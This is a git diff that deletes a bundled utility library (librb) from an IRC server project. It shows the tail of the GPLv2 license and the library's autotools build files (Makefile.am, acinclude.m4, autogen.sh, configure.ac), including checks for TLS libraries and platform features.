PARTY HAS BEEN ADVISED OF THE -POSSIBILITY OF SUCH DAMAGES. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -convey the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA - - -Also add information on how to contact you by electronic and paper mail. - -If the program is interactive, make it output a short notice like this -when it starts in an interactive mode: - - Gnomovision version 69, Copyright (C) year name of author - Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, the commands you use may -be called something other than `show w' and `show c'; they could even be -mouse-clicks or menu items--whatever suits your program. - -You should also get your employer (if you work as a programmer) or your -school, if any, to sign a "copyright disclaimer" for the program, if -necessary. Here is a sample; alter the names: - - Yoyodyne, Inc., hereby disclaims all copyright interest in the program - `Gnomovision' (which makes passes at compilers) written by James Hacker. - - , 1 April 1989 - Ty Coon, President of Vice - -This General Public License does not permit incorporating your program into -proprietary programs. If your program is a subroutine library, you may -consider it more useful to permit linking proprietary applications with the -library. If this is what you want to do, use the GNU Library General -Public License instead of this License. diff --git a/librb/CREDITS b/librb/CREDITS deleted file mode 100644 index e9715a517..000000000 --- a/librb/CREDITS +++ /dev/null @@ -1,2 +0,0 @@ -librb was based on ircd-ratbox's libratbox. This contains various utility -functions. See the CREDITS in Charybdis for more information. diff --git a/librb/Makefile.am b/librb/Makefile.am deleted file mode 100644 index 6b9a006ca..000000000 --- a/librb/Makefile.am +++ /dev/null @@ -1,22 +0,0 @@ -AUTOMAKE_OPTIONS = foreign - -SUBDIRS = src - -pkgconfigdir = $(libdir)/pkgconfig -pkgconfig_DATA = librb.pc - -BUILT_SOURCES = include/serno.h - -# NOTE: you'll want to change the below if you are unbundling -include/serno.h: - @if [ -f ../include/serno.h ]; then \ - cp ../include/serno.h include/; \ - else \ - echo '#define SERNO "unknown"' >include/serno.h; \ - echo '#define DATECODE 0UL' >>include/serno.h; \ - fi - -clean-local: - rm -f include/serno.h - rm -f src/version.c - rm -f src/version.c.last diff --git a/librb/TODO b/librb/TODO deleted file mode 100644 index a008a86c4..000000000 --- a/librb/TODO +++ /dev/null @@ -1,2 +0,0 @@ -1. Make i/o loop engines interchangable at run time. -2. Finish TODO list diff --git a/librb/acinclude.m4 b/librb/acinclude.m4 deleted file mode 100644 index eaa270e06..000000000 --- a/librb/acinclude.m4 +++ /dev/null @@ -1,172 +0,0 @@ -AC_DEFUN([AC_DEFINE_DIR], [ - test "x$prefix" = xNONE && prefix="$ac_default_prefix" - test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' - last_ac_define_dir=`eval echo [$]$2` - ac_define_dir=`eval echo [$]last_ac_define_dir` - ac_define_dir_counter=0 - while test "x[$]last_ac_define_dir" != "x[$]ac_define_dir"; do - last_ac_define_dir="[$]ac_define_dir" - ac_define_dir=`eval echo [$]last_ac_define_dir` - AS_VAR_ARITH([ac_define_dir_counter], [$ac_define_dir_counter + 1]) - AS_VAR_IF([ac_define_dir_counter], [128], - [AC_MSG_ERROR([detected recusive directory expansion when expanding $1=[$]$2: [$]ac_define_dir]) - break]) - done - $1="$ac_define_dir" - AC_SUBST($1) - ifelse($3, , - AC_DEFINE_UNQUOTED($1, "$ac_define_dir"), - AC_DEFINE_UNQUOTED($1, "$ac_define_dir", $3)) -]) - -AC_DEFUN([AC_SUBST_DIR], [ - ifelse($2,,,$1="[$]$2") - $1=`( - test "x$prefix" = xNONE && prefix="$ac_default_prefix" - test "x$exec_prefix" = xNONE && exec_prefix="${prefix}" - eval echo \""[$]$1"\" - )` - AC_SUBST($1) -]) - - -dnl IPv6 support macros..pretty much swiped from wget - -dnl RB_PROTO_INET6 - -AC_DEFUN([RB_PROTO_INET6],[ - AC_CACHE_CHECK([for INET6 protocol support], [rb_cv_proto_inet6],[ - AC_TRY_CPP([ -#ifndef _WIN32 -#include -#include -#else -#include -#include -#endif - -#ifndef PF_INET6 -#error Missing PF_INET6 -#endif -#ifndef AF_INET6 -#error Mlssing AF_INET6 -#endif - ],[ - rb_cv_proto_inet6=yes - ],[ - rb_cv_proto_inet6=no - ]) - ]) - - if test "X$rb_cv_proto_inet6" = "Xyes"; then : - $1 - else : - $2 - fi -]) - - -AC_DEFUN([RB_TYPE_STRUCT_SOCKADDR_IN6],[ - rb_have_sockaddr_in6= - AC_CHECK_TYPES([struct sockaddr_in6],[ - rb_have_sockaddr_in6=yes - ],[ - rb_have_sockaddr_in6=no - ],[ -#ifndef _WIN32 -#include -#include -#include -#else -#include -#include -#endif - ]) - - if test "X$rb_have_sockaddr_in6" = "Xyes"; then : - $1 - else : - $2 - fi -]) - - -AC_DEFUN([RB_CHECK_TIMER_CREATE], - [AC_CACHE_CHECK([for a working timer_create(CLOCK_REALTIME)], - [rb__cv_timer_create_works], - [AC_TRY_RUN([ -#ifdef HAVE_TIME_H -#include -#endif -#ifdef HAVE_SIGNAL_H -#include -#endif -#ifdef HAVE_UNISTD_H -#include -#endif -int main(int argc, char *argv[]) -{ -#if HAVE_TIMER_CREATE - struct sigevent ev; - timer_t timer; - ev.sigev_notify = SIGEV_SIGNAL; - ev.sigev_signo = SIGVTALRM; - if (timer_create(CLOCK_REALTIME, &ev, &timer) != 0) { - return 1; - } -#else - return 1; -#endif - return 0; -} - ], - [rb__cv_timer_create_works=yes], - [rb__cv_timer_create_works=no], - [rb__cv_timer_create_works=no]) - ]) -case $rb__cv_timer_create_works in - yes) AC_DEFINE([USE_TIMER_CREATE], 1, - [Define to 1 if we can use timer_create(CLOCK_REALTIME,...)]);; -esac -]) - - - -AC_DEFUN([RB_CHECK_TIMERFD_CREATE], - [AC_CACHE_CHECK([for a working timerfd_create(CLOCK_REALTIME)], - [rb__cv_timerfd_create_works], - [AC_TRY_RUN([ -#ifdef HAVE_TIME_H -#include -#endif -#ifdef HAVE_SIGNAL_H -#include -#endif -#ifdef HAVE_UNISTD_H -#include -#endif -#ifdef HAVE_SYS_TIMERFD_H -#include -#endif -int main(int argc, char *argv[]) -{ -#if defined(HAVE_TIMERFD_CREATE) && defined(HAVE_SYS_TIMERFD_H) - if (timerfd_create(CLOCK_REALTIME, 0) < 0) { - return 1; - } -#else - return 1; -#endif - return 0; -} - ], - [rb__cv_timerfd_create_works=yes], - [rb__cv_timerfd_create_works=no], - [rb__cv_timerfd_create_works=no]) - ]) -case $rb__cv_timerfd_create_works in - yes) AC_DEFINE([USE_TIMERFD_CREATE], 1, - [Define to 1 if we can use timerfd_create(CLOCK_REALTIME,...)]);; -esac -]) - diff --git a/librb/autogen.sh b/librb/autogen.sh deleted file mode 100755 index 11a107675..000000000 --- a/librb/autogen.sh +++ /dev/null @@ -1,89 +0,0 @@ -#! /bin/sh - -TOP_DIR=$(dirname $0) -LAST_DIR=$PWD - -if test ! -f $TOP_DIR/configure.ac ; then - echo "You must execute this script from the top level directory." - exit 1 -fi - -AUTOCONF=${AUTOCONF:-autoconf} -ACLOCAL=${ACLOCAL:-aclocal} -AUTOMAKE=${AUTOMAKE:-automake} -AUTOHEADER=${AUTOHEADER:-autoheader} -LIBTOOLIZE=${LIBTOOLIZE:-libtoolize} -#SHTOOLIZE=${SHTOOLIZE:-shtoolize} - -dump_help_screen () -{ - echo "Usage: $0 [options]" - echo - echo "options:" - echo " -n skip CVS changelog creation" - echo " -h,--help show this help screen" - echo - exit 0 -} - -parse_options () -{ - while test "$1" != "" ; do - case $1 in - -h|--help) - dump_help_screen - ;; - -n) - SKIP_CVS_CHANGELOG=yes - ;; - *) - echo Invalid argument - $1 - dump_help_screen - ;; - esac - shift - done -} - -run_or_die () -{ - COMMAND=$1 - - # check for empty commands - if test -z "$COMMAND" ; then - echo "*warning* no command specified" - return 1 - fi - - shift; - - OPTIONS="$@" - - # print a message - echo -n "*info* running $COMMAND" - if test -n "$OPTIONS" ; then - echo " ($OPTIONS)" - else - echo - fi - - # run or die - $COMMAND $OPTIONS ; RESULT=$? - if test $RESULT -ne 0 ; then - echo "*error* $COMMAND failed. (exit code = $RESULT)" - exit 1 - fi - - return 0 -} - -parse_options "$@" - -cd $TOP_DIR - -run_or_die $ACLOCAL -I ../m4 -run_or_die $LIBTOOLIZE --force --copy -run_or_die $AUTOHEADER -run_or_die $AUTOCONF -run_or_die $AUTOMAKE --add-missing --copy -#run_or_die $SHTOOLIZE all diff --git a/librb/configure.ac b/librb/configure.ac deleted file mode 100644 index 13ea7d192..000000000 --- a/librb/configure.ac +++ /dev/null @@ -1,698 +0,0 @@ -dnl Process this file with autoconf to produce a configure script. - -dnl TODO: clean up all the OpenSSL and shared module checking stuff; -dnl the most major changes have already been made and it looks like -dnl said functions need to be just about as complex as they already are. - -AC_PREREQ(2.63) -AUTOMAKE_OPTIONS = 1.10 -dnl Sneaky way to get an Id tag into the configure script -AC_INIT([librb],[devel]) -AM_INIT_AUTOMAKE([subdir-objects]) -AM_SILENT_RULES([yes]) - -AM_CONFIG_HEADER(include/librb_config.h) - -AC_PREFIX_DEFAULT(/usr/local/librb) -AC_GNU_SOURCE - -dnl Checks for programs. -AC_PROG_CC_C99 - -if test x"$ac_cv_prog_cc_c99" = "xno"; then - AC_ERROR([charybdis requires a C99 capable compiler]) -fi - -AC_PROG_CXX -AX_CXX_COMPILE_STDCXX_14([ext], [mandatory]) - -AC_PROG_INSTALL -AC_PROG_EGREP -AC_PROG_SED - -F77=no -GCJ=no - -AM_DISABLE_STATIC -AM_ENABLE_SHARED -AM_MAINTAINER_MODE - -AC_ISC_POSIX -AC_C_INLINE -AC_C_CONST -AC_C_BIGENDIAN -AC_PROG_MAKE_SET -AC_PROG_INSTALL -AC_PATH_PROG(AUTOMAKE, automake) -AC_PATH_PROG(ACLOCAL, aclocal) -AC_PATH_PROG(AUTOHEADER, autoheader) -AC_PATH_PROG(AS, as) -AC_PATH_PROG(RM, rm) -AC_PATH_PROG(CP, cp) -AC_PATH_PROG(MV, mv) -AC_PATH_PROG(LN, ln) -AC_PATH_PROG(TOUCH, touch) -AC_LANG(C) - -AC_PROG_LIBTOOL - -LIBTOOL="$LIBTOOL --silent" - -case "$host_os" in -*cygwin*) - AC_DEFINE_UNQUOTED(CYGWIN,1,[This is a Cygwin system]) - AC_DEFINE_UNQUOTED(WINDOWS,1,[This is a Windows system]) - ;; -*mingw* | *msys*) - AC_DEFINE_UNQUOTED(MINGW,1,[This is a MinGW system]) - AC_DEFINE_UNQUOTED(WINDOWS,1,[This is a Windows system]) - AC_CHECK_HEADER(windows.h, , [AC_MSG_ERROR([** MinGW and no windows.h. I give up.])]) - AC_CHECK_HEADER(winsock2.h, , [AC_MSG_ERROR([** MinGW and no winsock2.h. I give up.])]) - AC_DEFINE_UNQUOTED(HAVE_WINSOCK2_H, 1, [Have WINSOCK2_H]) - AC_DEFINE_UNQUOTED(HAVE_WINSOCK_H, 1, [Have WINSOCK_H]) - LIBS="$LIBS -lws2_32 -liphlpapi" - is_mingw="yes" - ;; -*interix*) - CPPFLAGS="$CFLAGS -D_ALL_SOURCE -D_XOPEN_SOURCE=500" - ;; -*solaris*) - CPPFLAGS="$CFLAGS -D_POSIX_PTHREAD_SEMANTICS -D_XPG4_2" - ;; -*) - ;; -esac - -AM_CONDITIONAL([MINGW], [test "$is_mingw" = "yes"]) - - -# backwards support for IRC_CFLAGS -CFLAGS="$IRC_CFLAGS $CFLAGS -Wall" - -dnl use directory structure of cached as default (hack) -if test "$libexecdir" = '${exec_prefix}/libexec' && - test "$localstatedir" = '${prefix}/var'; then - libexecdir='${bindir}' - localstatedir='${prefix}' -fi - -AC_TYPE_PID_T -AC_TYPE_SIZE_T -AC_TYPE_SSIZE_T -AC_TYPE_UID_T - - -dnl Checks for header files. -AC_HEADER_STDC - -AC_CHECK_HEADERS([crypt.h unistd.h sys/socket.h sys/stat.h sys/time.h time.h netinet/in.h netinet/tcp.h arpa/inet.h errno.h sys/uio.h spawn.h sys/poll.h sys/epoll.h sys/select.h sys/devpoll.h sys/event.h port.h signal.h sys/signalfd.h sys/timerfd.h execinfo.h]) -AC_HEADER_TIME - -dnl Networking Functions -dnl ==================== - -AC_SEARCH_LIBS(socket, [socket],,) - - -AC_CHECK_MEMBER([struct sockaddr.sa_len], [AC_DEFINE(SOCKADDR_IN_HAS_LEN, 1, [Define to 1 if sockaddr has a 'sa_len' -member.])],,[[ -#ifdef HAVE_SYS_TYPES_H -#include -#endif -#ifdef HAVE_SYS_SOCKET_H -#include -#endif -#ifdef HAVE_WINSOCK2_H -#include -#endif -]]) - -AC_CHECK_TYPE([socklen_t], rb_cv_socklen_t=socklen_t,[ - AC_MSG_CHECKING([for socklen_t equivalent]) - AC_CACHE_VAL([rb_cv_socklen_t], - [ - # Systems have either "struct sockaddr *" or - # "void *" as the second argument to getpeername - rb_cv_socklen_t= - for arg2 in "struct sockaddr" void; do - for t in int size_t unsigned long "unsigned long"; do - AC_TRY_COMPILE([ -#ifdef HAVE_SYS_TYPES_H -#include -#endif -#ifdef HAVE_SYS_SOCKET_H -#include -#endif -#ifdef HAVE_WINSOCK2_H -#include -#include -#endif -int getpeername (int, $arg2 *, $t *); -],[ -$t len; -getpeername(0,0,&len); -],[ - rb_cv_socklen_t="$t" - break -]) - done - done - - if test "x$rb_cv_socklen_t" = x; then - AC_MSG_WARN([Cannot find a type to use in place of socklen_t using int]) - rb_cv_socklen_t=int - fi - ]) - AC_MSG_RESULT($rb_cv_socklen_t)], - [#include -#include ]) - -rb_socklen_t=$rb_cv_socklen_t - - - - - -AC_ARG_ENABLE(ipv6,AC_HELP_STRING([--disable-ipv6],[Disable IPv6 support]),[ipv6=$enableval],[ipv6=yes]) - -if test x$ipv6 != xyes; then - have_v6="no" -else - -have_v6=yes -RB_PROTO_INET6([], [ - AC_MSG_NOTICE([Disabling IPv6 support: PF_INET6 not found]) - have_v6=no - ]) - - if test "X$have_v6" = "Xyes"; then - RB_TYPE_STRUCT_SOCKADDR_IN6([], [ - AC_MSG_NOTICE([Disabling IPv6 support: struct sockaddr_in6 not found]) - have_v6=no - ]) - fi - -fi - -AC_CHECK_TYPES([struct sockaddr_storage],[ - rb_have_sockaddr_storage=yes - ],[], [ - #include - #include - ]) - - -dnl Check for stdarg.h - if we cant find it, halt configure -AC_CHECK_HEADER(stdarg.h, , [AC_MSG_ERROR([** stdarg.h could not be found - librb will not compile without it **])]) - -AC_CHECK_TYPE([sa_family_t], [], -[AC_DEFINE(sa_family_t, [u_int16_t], [If system does not define sa_family_t, define it here.])], -[[#include -#include ]]) - - -dnl check for various functions... -AC_CHECK_FUNCS([snprintf vsnprintf socketpair gettimeofday writev sendmsg gmtime_r strtok_r usleep posix_spawn getexecname strlcpy strlcat strnlen strcasestr strcasecmp strncasecmp fstat signalfd select poll kevent port_create epoll_ctl arc4random getrusage timerfd_create]) - -AC_SEARCH_LIBS(dlinfo, dl, AC_DEFINE(HAVE_DLINFO, 1, [Define if you have dlinfo])) -AC_SEARCH_LIBS(nanosleep, rt posix4, AC_DEFINE(HAVE_NANOSLEEP, 1, [Define if you have nanosleep])) -AC_SEARCH_LIBS(timer_create, rt, AC_DEFINE(HAVE_TIMER_CREATE, 1, [Define if you have timer_create])) -RB_CHECK_TIMER_CREATE -RB_CHECK_TIMERFD_CREATE - -AC_FUNC_ALLOCA -AC_FUNC_VFORK -AC_FUNC_MMAP - -AC_MSG_CHECKING(for /dev/poll) -if test -c "/dev/poll"; then - AC_MSG_RESULT(yes) - AC_DEFINE(HAVE_DEVPOLL, [1], [Define to 1 if you have devpoll]) -else - AC_MSG_RESULT(no) -fi - - -if test "$is_mingw" = "yes"; then - AC_DEFINE(HAVE_WIN32, [1], [Define to 1 if you are on windows]) -fi - - -dnl OpenSSL support -AC_MSG_CHECKING(for OpenSSL) -AC_ARG_ENABLE(openssl, -[AC_HELP_STRING([--enable-openssl[=DIR]],[Enable OpenSSL support (DIR optional).]) -AC_HELP_STRING([--disable-openssl],[Disable OpenSSL support.])], -[cf_enable_openssl=$enableval], -[cf_enable_openssl="auto"]) - -if test "$cf_enable_openssl" != "no" ; then - cf_openssl_basedir="" - if test "$cf_enable_openssl" != "auto" && - test "$cf_enable_openssl" != "yes" ; then - dnl Support for --enable-openssl=/some/place - cf_openssl_basedir="`echo ${cf_enable_openssl} | sed 's/\/$//'`" - else - dnl Do the auto-probe here. Check some common directory paths. - for dirs in /usr/local/ssl /usr/pkg /usr/local \ - /usr/local/openssl ; do - if test -f "${dirs}/include/openssl/opensslv.h" ; then - cf_openssl_basedir="${dirs}" - break - fi - done - unset dirs - fi - dnl Now check cf_openssl_found to see if we found anything. - if test ! -z "$cf_openssl_basedir"; then - if test -f "${cf_openssl_basedir}/include/openssl/opensslv.h" ; then - SSL_CFLAGS="-I${cf_openssl_basedir}/include" - SSL_LIBS="-L${cf_openssl_basedir}/lib" - else - dnl OpenSSL wasn't found in the directory specified. Naughty - dnl administrator... - cf_openssl_basedir="" - fi - else - dnl Check for stock FreeBSD 4.x and 5.x systems, since their files - dnl are in /usr/include and /usr/lib. In this case, we don't want to - dnl change INCLUDES or LIBS, but still want to enable OpenSSL. - dnl We can't do this check above, because some people want two versions - dnl of OpenSSL installed (stock FreeBSD 4.x/5.x and /usr/local/ssl) - dnl and they want /usr/local/ssl to have preference. - if test -f "/usr/include/openssl/opensslv.h" ; then - cf_openssl_basedir="/usr" - fi - fi - - dnl If we have a basedir defined, then everything is okay. Otherwise, - dnl we have a problem. - if test ! -z "$cf_openssl_basedir"; then - AC_MSG_RESULT($cf_openssl_basedir) - cf_enable_openssl="yes" - else - AC_MSG_RESULT([not found. Specify a correct path?]) - cf_enable_openssl="no" - fi - unset cf_openssl_basedir -else - dnl If --disable-openssl was specified - AC_MSG_RESULT(disabled) -fi - -save_CPPFLAGS="$CPPFLAGS" -CPPFLAGS="$CPPFLAGS $SSL_CFLAGS" -save_LIBS="$LIBS" -LIBS="$LIBS $SSL_LIBS" -if test "$cf_enable_openssl" != no; then - dnl Check OpenSSL version (must be 0.9.7 or above!) - AC_MSG_CHECKING(for OpenSSL 0.9.7 or above) - AC_RUN_IFELSE( - [AC_LANG_PROGRAM( - [#include - #include ], - [[if (OPENSSL_VERSION_NUMBER >= 0x00907000) - exit(0); else exit(1);]])], - cf_enable_openssl=yes, - cf_enable_openssl=no, - cf_enable_openssl=no) - - if test "$cf_enable_openssl" != no; then - AC_MSG_RESULT(found) - else - AC_MSG_RESULT(no - OpenSSL support disabled) - fi - -fi - - -if test "$cf_enable_openssl" != no; then - CPPFLAGS="$CPPFLAGS $SSL_LIBS" - AC_CHECK_LIB(crypto, RAND_status, - [cf_enable_openssl=yes], - [cf_enable_openssl=no]) -fi - -if test "$cf_enable_openssl" != no; then - CPPFLAGS="$CPPFLAGS $SSL_LIBS" - AC_CHECK_LIB(ssl, SSL_read, - [SSL_LIBS="$SSL_LIBS -lssl -lcrypto"], - [cf_enable_openssl=no], [-lcrypto]) -fi - - -dnl mbedTLS support -AC_ARG_ENABLE(mbedtls, -[AC_HELP_STRING([--enable-mbedtls], [Enable mbedTLS support.]) -AC_HELP_STRING([--disable-mbedtls], [Disable mbedTLS support.])], -[cf_enable_mbedtls=$enableval], -[cf_enable_mbedtls="auto"]) - -if test "$cf_enable_mbedtls" != no; then - save_CPPFLAGS="$CPPFLAGS" - save_LIBS="$LIBS" - LIBS="$LIBS $MBEDTLS_LIBS" - AC_CHECK_LIB(mbedtls, mbedtls_ssl_init, [ - MBEDTLS_LIBS="$MBEDTLS_LIBS -lmbedtls -lmbedx509 -lmbedcrypto" - cf_enable_mbedtls=yes - ], [cf_enable_mbedtls=no], [-lmbedx509 -lmbedcrypto]) -fi - -dnl GnuTLS support -AC_MSG_CHECKING(for GnuTLS) -AC_ARG_ENABLE(gnutls, -[AC_HELP_STRING([--enable-gnutls],[Enable GnuTLS support.]) -AC_HELP_STRING([--disable-gnutls],[Disable GnuTLS support.])], -[cf_enable_gnutls=$enableval], -[cf_enable_gnutls="auto"]) - -if test "$cf_enable_gnutls" != no; then - PKG_CHECK_MODULES(GNUTLS, [gnutls], [ - cf_enable_gnutls="yes" - ], [cf_enable_gnutls="no"]) -fi - -dnl mbed TLS is given highest preference when no specified TLS library is provided -if test "$cf_enable_openssl" = "auto" -a "$cf_enable_mbedtls" = "yes"; then - cf_enable_openssl="no" -fi - -if test "$cf_enable_gnutls" = "auto" -a "$cf_enable_openssl" = "yes" -a "$cf_enable_mbedtls" = "yes"; then - cf_enable_gnutls="no" -fi - -if test x"$cf_enable_openssl" != xno; then - AC_DEFINE(HAVE_OPENSSL,1,[Has OpenSSL]) - GNUTLS_CFLAGS="" - GNUTLS_LIBS="" - MBEDTLS_LIBS="" - MBEDTLS_CFLAGS="" - SSL_TYPE="openssl" -elif test x"$cf_enable_mbedtls" != xno; then - AC_DEFINE(HAVE_MBEDTLS, 1, [Has mbedTLS]) - SSL_LIBS="" - SSL_CFLAGS="" - GNUTLS_CFLAGS="" - GNUTLS_LIBS="" - SSL_TYPE="mbedtls" -elif test x"$cf_enable_gnutls" != xno; then - AC_DEFINE(HAVE_GNUTLS, 1, [Has GnuTLS]) - SSL_LIBS="" - SSL_CFLAGS="" - MBEDTLS_LIBS="" - MBEDTLS_CFLAGS="" - SSL_TYPE="gnutls" -fi - - - - -CPPFLAGS="$save_CPPFLAGS" -LIBS="$save_LIBS" - -dnl End OpenSSL detection - - - - -dnl Debug-related options -dnl ===================== - -AC_ARG_ENABLE(assert, -AC_HELP_STRING([--enable-assert],[Enable assert(). Choose between soft(warnings) and hard(aborts the daemon)]), -[assert=$enableval], [assert=no]) - -if test "$assert" = no; then - AC_DEFINE(NDEBUG, 1, [Define this to disable debugging support.]) -elif test "$assert" = soft; then - AC_DEFINE(SOFT_ASSERT, 1, [Define this to enable soft asserts.]) - AC_DEFINE(NDEBUG, 1, [Define this to disable debugging support.]) -elif test "$assert" = yes; then - assert = "hard"; -fi - -AC_MSG_CHECKING(if you want to do a profile build) -AC_ARG_ENABLE(profile, -AC_HELP_STRING([--enable-profile],[Enable profiling]), -[profile=$enableval], [profile=no]) - -if test "$profile" = yes; then - if test "$ac_cv_c_compiler_gnu" = yes; then - CFLAGS="$CFLAGS -pg -static" - AC_MSG_RESULT([yes, adding -pg -static]) - AC_DEFINE(RB_PROFILE, 1, [Defined to mark profiling is enabled]) - else - AC_MSG_RESULT([no, profile builds only work with gcc]) - fi -else - AC_MSG_RESULT(no) -fi - -AC_ARG_ENABLE(warnings, -AC_HELP_STRING([--enable-warnings],[Enable all sorts of warnings for debugging.]), -[CFLAGS="$CFLAGS -Wall -Werror -Wcast-qual -Wmissing-declarations -Wmissing-prototypes -Wnested-externs -Wshadow -Wwrite-strings -W -Wno-unused -Wunused-function -Wunused-variable"],[]) - -AC_SUBST(LDFLAGS) -AC_SUBST(PICFLAGS) -AC_SUBST(CFLAGS) -AC_SUBST(SEDOBJ) -AC_SUBST(SSL_CFLAGS) -AC_SUBST(SSL_LIBS) -AC_SUBST(GNUTLS_CFLAGS) -AC_SUBST(GNUTLS_LIBS) -AC_SUBST(MBEDTLS_CFLAGS) -AC_SUBST(MBEDTLS_LIBS) - -if test "$prefix" = "NONE"; then - AC_DEFINE_UNQUOTED(RB_PREFIX, "$ac_default_prefix", [Prefix where librb is installed.]) - -else - -dnl Don't get bitten by Cygwin's stupidity if the user specified -dnl a custom prefix with a trailing slash - - prefix=`echo $prefix | sed 's/\/$//'` - AC_DEFINE_UNQUOTED(RB_PREFIX, "$prefix", [Prefix where librb is installed.]) - -fi - -AC_SUBST(RB_PREFIX) - -AC_CONFIG_COMMANDS([include/librb-config.h], -[ - outfile=include/librb-config.h.tmp - cat > $outfile <<\_______EOF -/* - * librb-config.h: librb config file. Please modify configure.ac - */ - -#ifndef __LIBRB_CONFIG_H -#define __LIBRB_CONFIG_H - -_______EOF - -if test "x$rb_have_ipv6" = "xyes"; then - echo "#define RB_IPV6 1" >> $outfile -fi - -if test "x$rb_windows_h" = "xyes"; then - echo '#define WIN32_LEAN_AND_MEAN 1' >> $outfile - echo '#include ' >> $outfile - echo '#include ' >> $outfile - echo '#include ' >> $outfile - echo '#include ' >> $outfile -fi - -if test "x$rb_alloca_h" = "xyes"; then - echo '#define RB_HAVE_ALLOCA_H 1' >> $outfile -fi - -if test "x$rb_header_stdc" = "xyes"; then - echo '#include ' >> $outfile - echo '#include ' >> $outfile -elif test "x$rb_header_stdlib" = "xyes"; then - echo '#include ' >> $outfile -fi - -if test "x$rb_header_string_h" = "xyes"; then - echo '#include ' >> $outfile -fi - -if test "x$rb_stdint_h" = "xyes"; then - echo '#include ' >> $outfile -fi - -if test "x$rb_inttypes_h" = "xyes"; then - echo '#include ' >> $outfile -fi - -if test "x$rb_sys_types_h" = "xyes"; then - echo '#include ' >> $outfile -fi -if test "x$rb_sys_time_h" = "xyes"; then - echo '#include ' >> $outfile -fi -if test "x$rb_sys_stat_h" = "xyes"; then - echo '#include ' >> $outfile -fi -if test "x$rb_time_h" = "xyes"; then - echo '#include ' >> $outfile -fi - -if test "x$rb_sys_socket_h" = "xyes"; then - echo '#include ' >> $outfile -fi - -if test "x$rb_netinet_in_h" = "xyes"; then - echo '#include ' >> $outfile -fi - -if test "x$rb_netinet_tcp_h" == "xyes"; then - echo '#include ' >> $outfile -fi - -if test "x$rb_arpa_inet_h" = "xyes"; then - echo '#include ' >> $outfile -fi - -if test "x$rb_unistd_h" = "xyes"; then - echo '#include ' >> $outfile -fi - -if test "x$rb_crypt_h" = "xyes"; then - echo '#include ' >> $outfile -fi - -if test "x$rb_errno_h" = "xyes"; then - echo '#include ' >> $outfile -fi - -echo "typedef $rb_socklen_t rb_socklen_t;" >> $outfile - - -if test "x$rb_sockaddr_sa_len" = "xyes"; then - echo '#define RB_SOCKADDR_HAS_SA_LEN 1' >> $outfile -fi - -if test "x$rb_sockaddr_storage" = "xyes"; then - echo '#define rb_sockaddr_storage sockaddr_storage' >> $outfile -else - echo 'struct rb_sockaddr_storage { uint8_t _padding[[128]]; };' >> $outfile -fi - -cat >> $outfile <<\_______EOF -#endif /* __LIBRB_CONFIG_H */ -_______EOF - -if cmp -s $outfile include/librb-config.h; then - AC_MSG_NOTICE([include/librb-config.h is unchanged]) - ${rb_rm} -f $outfile -else - ${rb_mv} $outfile include/librb-config.h -fi - -],[ - if test x$ac_cv_header_stdc = xyes; then - rb_header_stdc=yes - fi - if test x$ac_cv_header_stdlib_h = xyes; then - rb_header_stdlib_h=yes - fi - if test x$ac_cv_header_string_h = xyes; then - rb_header_string_h=yes - fi - if test x$ac_cv_header_memory_h = xyes; then - rb_header_memory_h=yes - fi - if test "x${ac_cv_working_alloca_h+set}" = xset ; then - rb_alloca_h="$ac_cv_working_alloca_h" - else - rb_alloc_h="$ac_cv_header_alloca_h" - fi - if test x$ac_cv_member_struct_sockaddr_sa_len = xyes; then - rb_sockaddr_sa_len=yes - fi - if test x$ac_cv_header_sys_socket_h = xyes; then - rb_sys_socket_h=yes - fi - if test x$ac_cv_header_sys_types_h = xyes; then - rb_sys_types_h=yes - fi - if test x$ac_cv_header_sys_stat_h = xyes; then - rb_sys_stat_h=yes - fi - if test x$ac_cv_header_sys_time_h = xyes; then - rb_sys_time_h=yes - fi - if test x$ac_cv_header_time = xyes; then - rb_time_h=yes - fi - - if test x$ac_cv_header_stdint_h = xyes; then - rb_stdint_h=yes - fi - if test x$ac_cv_header_inttypes_h = xyes; then - rb_inttypes_h=yes - fi - if test x$ac_cv_header_netinet_in_h = xyes; then - rb_netinet_in_h=yes - fi - if test x$ac_cv_header_netinet_tcp_h = xyes; then - rb_netinet_tcp_h=yes - fi - - if test x$ac_cv_header_crypt_h = xyes; then - rb_crypt_h=yes - fi - if test x$ac_cv_header_errno_h = xyes; then - rb_errno_h=yes - fi - if test x$ac_cv_header_unistd_h = xyes; then - rb_unistd_h=yes - fi - if test x$ac_cv_header_windows_h = xyes; then - rb_windows_h=yes - fi - if test x$ac_cv_header_winsock2_h = xyes; then - rb_winsock2_h=yes - fi - - rb_socklen_t=$rb_socklen_t - - if test "x$rb_have_sockaddr_storage" = "xyes"; then - rb_sockaddr_storage="yes" - else - rb_sockaddr_storage="no" - fi - - rb_have_ipv6="$have_v6" - - rb_mv="$MV" - rb_rm="$RM" - -] - - -) - - -AC_CONFIG_FILES( \ - src/Makefile \ - Makefile \ - librb.pc -) - -AC_OUTPUT - -dnl Make it look sexay! - -echo -echo "Compiling $PACKAGE_NAME $PACKAGE_VERSION" -echo - -echo "Installing into: $prefix" - -echo "IPv6 support ................... $have_v6" -echo "Assert debugging ............... $assert" -echo "SSL Type........................ $SSL_TYPE" -echo diff --git a/librb/install-sh b/librb/install-sh deleted file mode 100755 index 0b0fdcbba..000000000 --- a/librb/install-sh +++ /dev/null @@ -1,501 +0,0 @@ -#!/bin/sh -# install - install a program, script, or datafile - -scriptversion=2013-12-25.23; # UTC - -# This originates from X11R5 (mit/util/scripts/install.sh), which was -# later released in X11R6 (xc/config/util/install.sh) with the -# following copyright and license. -# 